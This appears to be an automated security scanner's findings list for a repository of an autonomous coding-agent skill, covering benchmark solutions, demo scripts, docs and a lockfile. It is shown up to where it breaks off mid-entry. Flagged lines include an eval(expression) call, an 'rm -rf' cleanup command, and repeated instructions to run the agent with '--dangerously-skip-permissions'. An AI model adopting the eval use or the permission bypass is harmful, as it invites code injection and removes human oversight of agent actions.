skills/loki-mode/benchmarks/results/humaneval-loki-solutions/150.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/151.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/152.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/153.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/154.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/155.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/156.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/157.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/158.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/159.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/16.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/160.py

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 34
    return eval(expression)

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/161.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/162.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/163.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/17.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/18.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/19.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/2.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/20.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/21.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/22.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/23.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/24.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/25.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/26.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/27.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/28.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/29.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/3.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/30.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/31.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/32.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/33.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/34.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/35.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/36.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/37.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/38.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/39.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/4.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/40.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/41.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/42.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/43.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/44.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/45.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/46.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/47.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/48.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/49.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/5.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/50.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/51.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/52.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/53.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/54.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/55.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/56.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/57.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/58.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/59.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/6.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/60.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/61.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/62.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/63.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/64.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/65.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/66.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/67.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/68.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/69.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/7.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/70.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/71.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/72.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/73.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/74.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/75.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/76.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/77.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/78.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/79.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/8.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/80.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/81.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/82.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/83.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/84.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/85.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/86.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/87.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/88.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/89.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/9.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/90.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/91.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/92.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/93.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/94.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/95.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/96.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/97.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/98.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/99.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/run-benchmarks.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 162
    log_info "Downloading HumanEval dataset..."     curl -sL "https://github.com/openai/human-eval/raw/master/data/HumanEval.jsonl.gz" | \
  • Network accessline 163
    curl -sL "https://github.com/openai/human-eval/raw/master/data/HumanEval.jsonl.gz" | \
  • Access to secretsline 194
    [Credential-related source omitted]
  • Access to secretsline 195
    [Credential-related source omitted]
  • Access to secretsline 254
    [Credential-related source omitted]
  • Access to secretsline 255
    [Credential-related source omitted]
  • Access to secretsline 256
    [Credential-related source omitted]
  • Access to secretsline 257
    [Credential-related source omitted]
  • Access to secretsline 258
    [Credential-related source omitted]
  • Access to secretsline 531
    [Credential-related source omitted]
  • Access to secretsline 532
    [Credential-related source omitted]
  • Access to secretsline 533
    [Credential-related source omitted]
  • Access to secretsline 534
    [Credential-related source omitted]
  • Access to secretsline 535
    [Credential-related source omitted]
  • Access to secretsline 536
    [Credential-related source omitted]
  • Access to secretsline 934
    [Credential-related source omitted]
  • Network accessline 939
    "version": "1.0",     "description": "300 real-world GitHub issues for evaluation",     "source": "https://github.com/SWE-bench/SWE-bench",
  • Network accessline 940
    "description": "300 real-world GitHub issues for evaluation",     "source": "https://github.com/SWE-bench/SWE-bench",     "problems": 300,
  • Network accessline 941
    "source": "https://github.com/SWE-bench/SWE-bench",
  • Access to secretsline 981
    [Credential-related source omitted]
  • Access to secretsline 1033
    [Credential-related source omitted]
  • Access to secretsline 1034
    [Credential-related source omitted]
  • Access to secretsline 1035
    [Credential-related source omitted]
  • Access to secretsline 1036
    [Credential-related source omitted]
  • Access to secretsline 1037
    [Credential-related source omitted]
  • Access to secretsline 1240
    [Credential-related source omitted]
  • Access to secretsline 1241
    [Credential-related source omitted]
  • Access to secretsline 1242
    [Credential-related source omitted]
  • Access to secretsline 1243
    [Credential-related source omitted]
  • Access to secretsline 1244
    [Credential-related source omitted]
  • Access to secretsline 1245
    [Credential-related source omitted]
  • Access to secretsline 1783
    [Credential-related source omitted]

skills/loki-mode/benchmarks/submission-template/README.md

  • Network accessline 67
    - **GitHub**: [asklokesh/loki-mode](https://github.com/asklokesh/loki-mode)
  • Network accessline 74
    # Clone the repository git clone https://github.com/asklokesh/loki-mode.git
  • Network accessline 75
    git clone https://github.com/asklokesh/loki-mode.git
  • Network accessline 105
    - Built for the [Claude Code](https://claude.ai) ecosystem
  • Network accessline 111
    - GitHub: [@asklokesh](https://github.com/asklokesh)

skills/loki-mode/benchmarks/submission-template/metadata.yaml

  • Network accessline 56
    date: "2026-01-05"   author: "Loki Mode Team"   repository: "https://github.com/asklokesh/loki-mode"
  • Network accessline 57
    author: "Loki Mode Team"   repository: "https://github.com/asklokesh/loki-mode"   license: "MIT"
  • Network accessline 58
    repository: "https://github.com/asklokesh/loki-mode"

skills/loki-mode/demo/README.md

  • Network accessline 49
    The dashboard opens at: http://127.0.0.1:57374/dashboard/index.html
  • Network accessline 126
    | Demo | Duration | Link | |------|----------|------| | Quick Start | 5 min | [asciinema](https://asciinema.org/a/loki-quick-start) |
  • Network accessline 127
    |------|----------|------| | Quick Start | 5 min | [asciinema](https://asciinema.org/a/loki-quick-start) | | Full Demo | 15 min | [YouTube](https://youtube.com/watch?v=loki-demo) |
  • Network accessline 128
    | Quick Start | 5 min | [asciinema](https://asciinema.org/a/loki-quick-start) |
  • Network accessline 129
    | Full Demo | 15 min | [YouTube](https://youtube.com/watch?v=loki-demo) |

skills/loki-mode/demo/record-demo.sh

  • Executable scriptline 1
    #!/bin/bash

skills/loki-mode/demo/record-full-demo.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 112
    echo "  +------------------+------------------+" echo "" echo "The dashboard will open at: http://127.0.0.1:57374/dashboard/index.html"
  • Network accessline 113
    echo "" echo "The dashboard will open at: http://127.0.0.1:57374/dashboard/index.html" echo ""
  • Network accessline 114
    echo "The dashboard will open at: http://127.0.0.1:57374/dashboard/index.html"

skills/loki-mode/demo/run-demo-auto.sh

  • Executable scriptline 1
    #!/bin/bash

skills/loki-mode/demo/run-demo.sh

  • Executable scriptline 1
    #!/bin/bash
  • Instruction override signalline 108
    step "To invoke Loki Mode, you would run:" echo "" echo -e "${CYAN}  claude --dangerously-skip-permissions${NC}"
  • Instruction override signalline 109
    echo "" echo -e "${CYAN}  claude --dangerously-skip-permissions${NC}" echo ""
  • Instruction override signalline 110
    echo -e "${CYAN}  claude --dangerously-skip-permissions${NC}"
  • Instruction override signalline 313
    echo "To run Loki Mode for real:" echo "" echo -e "  ${CYAN}claude --dangerously-skip-permissions${NC}"
  • Instruction override signalline 314
    echo "" echo -e "  ${CYAN}claude --dangerously-skip-permissions${NC}" echo -e "  ${CYAN}> Loki Mode with PRD at $PRD_FILE${NC}"
  • Instruction override signalline 315
    echo -e "  ${CYAN}claude --dangerously-skip-permissions${NC}"
  • Network accessline 316
    echo -e "  ${CYAN}> Loki Mode with PRD at $PRD_FILE${NC}" echo "" echo "Documentation: https://github.com/asklokesh/loki-mode"
  • Network accessline 317
    echo "" echo "Documentation: https://github.com/asklokesh/loki-mode" echo ""
  • Network accessline 318
    echo "Documentation: https://github.com/asklokesh/loki-mode"
  • Dangerous shell operationline 323
    echo -e "${YELLOW}Run 'rm -rf $DEMO_WORKSPACE' to clean up${NC}"

skills/loki-mode/demo/vhs-tape.tape

  • Instruction override signalline 29
    # Step 1: Show we're starting Claude Code Sleep 1s Type "claude --dangerously-skip-permissions"
  • Instruction override signalline 30
    Sleep 1s Type "claude --dangerously-skip-permissions" Enter
  • Instruction override signalline 31
    Type "claude --dangerously-skip-permissions"

skills/loki-mode/demo/voice-over-script.md

  • Instruction override signalline 20
    > > [Show terminal: `claude --dangerously-skip-permissions`] >
  • Instruction override signalline 21
    > [Show terminal: `claude --dangerously-skip-permissions`]

skills/loki-mode/docs/COMPETITIVE-ANALYSIS.md

  • Instruction override signalline 20
    | **Full SDLC** | Yes (8 phases) | Yes | Partial | Partial | No | Partial | | **Business Ops** | **Yes (8 agents)** | No | No | No | No | No | | **Enterprise Security** | `--dangerously-skip-permissions` | MCP sandboxed | Sandboxed | Audit 
  • Instruction override signalline 21
    | **Business Ops** | **Yes (8 agents)** | No | No | No | No | No | | **Enterprise Security** | `--dangerously-skip-permissions` | MCP sandboxed | Sandboxed | Audit logs, RBAC | Staged autonomy | Sandboxed | | **Cross-Project Learning** | No
  • Instruction override signalline 22
    | **Enterprise Security** | `--dangerously-skip-permissions` | MCP sandboxed | Sandboxed | Audit logs, RBAC | Staged autonomy | Sandboxed |
  • Network accessline 35
    ### Claude-Flow (10.7K Stars) **Repository:** [ruvnet/claude-flow](https://github.com/ruvnet/claude-flow)
  • Network accessline 36
    **Repository:** [ruvnet/claude-flow](https://github.com/ruvnet/claude-flow)
  • Network accessline 59
    ### MetaGPT (62.4K Stars) **Repository:** [FoundationAgents/MetaGPT](https://github.com/FoundationAgents/MetaGPT)
  • Network accessline 60
    **Repository:** [FoundationAgents/MetaGPT](https://github.com/FoundationAgents/MetaGPT)
  • Network accessline 84
    ### CrewAI (25K+ Stars, $18M Raised) **Repository:** [crewAIInc/crewAI](https://github.com/crewAIInc/crewAI)
  • Network accessline 85
    **Repository:** [crewAIInc/crewAI](https://github.com/crewAIInc/crewAI)
  • Network accessline 108
    ### Cursor Agent Mode (Commercial, $29B Valuation) **Website:** [cursor.com](https://cursor.com)
  • Network accessline 109
    **Website:** [cursor.com](https://cursor.com)
  • Network accessline 132
    ### Devin AI (Commercial, $10.2B Valuation) **Website:** [cognition.ai](https://cognition.ai)
  • Network accessline 133
    **Website:** [cognition.ai](https://cognition.ai)
  • Instruction override signalline 237
    ### Priority 2: Security Model (Critical for Enterprise) - **Gap:** Relies on `--dangerously-skip-permissions`
  • Instruction override signalline 238
    - **Gap:** Relies on `--dangerously-skip-permissions`
  • Network accessline 322
    - [Claude-Flow GitHub](https://github.com/ruvnet/claude-flow)
  • Network accessline 323
    - [MetaGPT GitHub](https://github.com/FoundationAgents/MetaGPT)
  • Network accessline 324
    - [MetaGPT Paper (ICLR 2024)](https://openreview.net/forum?id=VtmBAGCN7o)
  • Network accessline 325
    - [CrewAI GitHub](https://github.com/crewAIInc/crewAI)
  • Network accessline 326
    - [CrewAI Framework 2025 Review](https://latenode.com/blog/ai-frameworks-technical-infrastructure/crewai-framework/crewai-framework-2025-complete-review-of-the-open-source-multi-agent-ai-platform)
  • Network accessline 327
    - [Cursor AI Review 2025](https://skywork.ai/blog/cursor-ai-review-2025-agent-refactors-privacy/)
  • Network accessline 328
    - [Cursor 2.0 Features](https://cursor.com/changelog/2-0)
  • Network accessline 329
    - [Devin 2025 Performance Review](https://cognition.ai/blog/devin-annual-performance-review-2025)
  • Network accessline 330
    - [Devin AI Real Tests](https://trickle.so/blog/devin-ai-review)
  • Network accessline 331
    - [SWE-bench Verified Leaderboard](https://llm-stats.com/benchmarks/swe-bench-verified)
  • Network accessline 332
    - [SWE-bench Official](https://www.swebench.com/)
  • Network accessline 333
    - [Claude Code Best Practices](https://www.anthropic.com/engineering/claude-code-best-practices)

skills/loki-mode/examples/todo-app-generated/E2E_VERIFICATION_REPORT.md

  • Network accessline 460
    # Browser # Navigate to http://localhost:5173 (Vite default)
  • Network accessline 461
    # Navigate to http://localhost:5173 (Vite default)
  • Network accessline 462
    # Or http://localhost:3000 (if configured differently)
  • Dangerous shell operationline 520
    - ✓ No eval() or other dangerous functions

skills/loki-mode/examples/todo-app-generated/TEST_REPORT.md

  • Network accessline 149
    1. **Start backend:** `cd /tmp/loki-mode-test-todo-app/backend && npm run dev` 2. **Start frontend:** `cd /tmp/loki-mode-test-todo-app/frontend && npm run dev` 3. **Open browser:** http://localhost:3000
  • Network accessline 151
    3. **Open browser:** http://localhost:3000

skills/loki-mode/examples/todo-app-generated/backend/.gitignore

  • Access to secretsline 4
    [Credential-related source omitted]

skills/loki-mode/examples/todo-app-generated/backend/package-lock.json

  • Network accessline 26
    "node_modules/@cspotcode/source-map-support": {       "version": "0.8.1",       "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz",
  • Network accessline 27
    "version": "0.8.1",       "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz",       "integrity": "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrV
  • Network accessline 28
    "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz",
  • Network accessline 39
    "node_modules/@gar/promisify": {       "version": "1.1.3",       "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz",
  • Network accessline 40
    "version": "1.1.3",       "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz",       "integrity": "sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==",
  • Network accessline 41
    "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz",
  • Network accessline 46
    "node_modules/@jridgewell/resolve-uri": {       "version": "3.1.2",       "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
  • Network accessline 47
    "version": "3.1.2",       "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",       "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
  • Network accessline 48
    "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
  • Network accessline 56
    "node_modules/@jridgewell/sourcemap-codec": {       "version": "1.5.5",       "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
  • Network accessline 57
    "version": "1.5.5",       "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",       "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="
  • Network accessline 58
    "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
  • Network accessline 63
    "node_modules/@jridgewell/trace-mapping": {       "version": "0.3.9",       "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz",
  • Network accessline 64
    "version": "0.3.9",       "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz",       "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==",
  • Network accessline 65
    "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz",
  • Network accessline 74
    "node_modules/@npmcli/fs": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz",
  • Network accessline 75
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz",       "integrity": "sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==",
  • Network accessline 76
    "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz",
  • Network accessline 85
    "node_modules/@npmcli/move-file": {       "version": "1.1.2",       "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz",
  • Network accessline 86
    "version": "1.1.2",       "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz",       "integrity": "sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==",
  • Network accessline 87
    "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz",
  • Network accessline 100
    "node_modules/@tootallnate/once": {       "version": "1.1.2",       "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",
  • Network accessline 101
    "version": "1.1.2",       "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",       "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==",
  • Network accessline 102
    "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",
  • Network accessline 110
    "node_modules/@tsconfig/node10": {       "version": "1.0.12",       "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.12.tgz",
  • Network accessline 111
    "version": "1.0.12",       "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.12.tgz",       "integrity": "sha512-UCYBaeFvM11aU2y3YPZ//O5Rhj+xKyzy7mvcIoAjASbigy8mHMryP5cK7dgjlz2hWxh1g5pLw084E0a/wlUSFQ==",
  • Network accessline 112
    "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.12.tgz",
  • Network accessline 117
    "node_modules/@tsconfig/node12": {       "version": "1.0.11",       "resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz",
  • Network accessline 118
    "version": "1.0.11",       "resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz",       "integrity": "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==",
  • Network accessline 119
    "resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz",
  • Network accessline 124
    "node_modules/@tsconfig/node14": {       "version": "1.0.3",       "resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz",
  • Network accessline 125
    "version": "1.0.3",       "resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz",       "integrity": "sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==",
  • Network accessline 126
    "resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz",
  • Network accessline 131
    "node_modules/@tsconfig/node16": {       "version": "1.0.4",       "resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.4.tgz",
  • Network accessline 132
    "version": "1.0.4",       "resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.4.tgz",       "integrity": "sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA==",
  • Network accessline 133
    "resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.4.tgz",
  • Network accessline 138
    "node_modules/@types/better-sqlite3": {       "version": "7.6.13",       "resolved": "https://registry.npmjs.org/@types/better-sqlite3/-/better-sqlite3-7.6.13.tgz",
  • Network accessline 139
    "version": "7.6.13",       "resolved": "https://registry.npmjs.org/@types/better-sqlite3/-/better-sqlite3-7.6.13.tgz",       "integrity": "sha512-NMv9ASNARoKksWtsq/SHakpYAYnhBrQgGD8zkLYk/jaK8jUGn08CfEdTRgYhMypUQAfzSP8W6gNLe0q19/t4VA==",
  • Network accessline 140
    "resolved": "https://registry.npmjs.org/@types/better-sqlite3/-/better-sqlite3-7.6.13.tgz",
  • Network accessline 148
    "node_modules/@types/body-parser": {       "version": "1.19.6",       "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz",
  • Network accessline 149
    "version": "1.19.6",       "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz",       "integrity": "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==",
  • Network accessline 150
    "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz",
  • Network accessline 159
    "node_modules/@types/connect": {       "version": "3.4.38",       "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz",
  • Network accessline 160
